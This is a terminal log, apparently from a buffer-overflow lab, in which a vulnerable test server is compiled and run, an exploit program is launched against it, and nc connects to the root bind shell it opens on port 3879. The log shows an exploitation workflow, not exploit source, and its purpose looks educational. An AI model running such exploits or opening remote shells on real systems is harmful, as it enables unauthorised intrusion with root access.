[root@hax0r exp3]# ls
Makefile overserver.c serverbuf.c
[root@hax0r exp3]# make
gcc serverbuf.c -o serverbuf
gcc overserver.c -o overserver -lexploit
[root@hax0r exp3]# ./serverbuf 8888 <- Running server on port 8888
[root@hax0r exp3]# 

[root@hax0r exp3]# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN      
udp        0      0 0.0.0.0:1025            0.0.0.0:*                           
udp        0      0 0.0.0.0:1024            0.0.0.0:*                           
raw        0      0 0.0.0.0:1               0.0.0.0:*               7           
raw        0      0 0.0.0.0:6               0.0.0.0:*               7           

[root@hax0r exp3]# ./overserver 192.168.0.3 8888 <- Exploit server
[root@hax0r exp3]# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:3879            0.0.0.0:*               LISTEN      
tcp        0      0 192.168.0.3:8888        192.168.0.3:1153        CLOSE       
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN      
udp        0      0 0.0.0.0:1025            0.0.0.0:*                           
udp        0      0 0.0.0.0:1024            0.0.0.0:*                           
raw        0      0 0.0.0.0:1               0.0.0.0:*               7           
raw        0      0 0.0.0.0:6               0.0.0.0:*               7           

[root@hax0r exp3]# nc 192.168.0.3 3879 <- Shell is open on port 3879
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
[root@hax0r exp3]# 
Bingo ;)